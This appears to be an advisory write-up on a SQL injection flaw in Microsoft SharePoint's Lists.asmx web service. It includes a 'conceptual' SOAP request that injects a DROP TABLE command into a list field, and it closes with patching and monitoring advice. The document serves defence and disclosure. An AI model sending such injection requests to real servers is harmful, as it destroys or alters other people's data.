How the Exploit Works

This vulnerability stems from Microsoft Office SharePoint’s improper neutralization of special elements used in SQL commands. An authorized attacker can craft malicious SQL commands, which the vulnerable SharePoint system will execute without proper sanitization, leading to SQL Injection. This could allow the attacker to manipulate the database, alter data, or even execute code at the system level, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of a crafted HTTP request that exploits this vulnerability:

POST /_vti_bin/Lists.asmx HTTP/1.1
Host: target.example.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://schemas.microsoft.com/sharepoint/soap/UpdateListItems"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UpdateListItems xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<listName>Vulnerable List</listName>
<updates>
<Batch OnError="Continue">
<Method ID="1" Cmd="Update">
<Field Name="ID">1'; DROP TABLE Vulnerable Table; --</Field>
<Field Name="Title">Injected Title</Field>
</Method>
</Batch>
</updates>
</UpdateListItems>
</soap:Body>
</soap:Envelope>

In the above example, the attacker is injecting a malicious SQL command ‘DROP TABLE Vulnerable Table’ into the ID field, which would result in the deletion of the ‘Vulnerable Table’ from the SharePoint database if executed.

Recommendations

To mitigate the risk associated with this vulnerability, the primary recommendation is to apply the official patch provided by the vendor, Microsoft, as soon as possible. If immediate patching is not feasible, consider deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Furthermore, it is advisable to limit the privileges of SharePoint users and regularly monitor SharePoint servers for any suspicious activity.
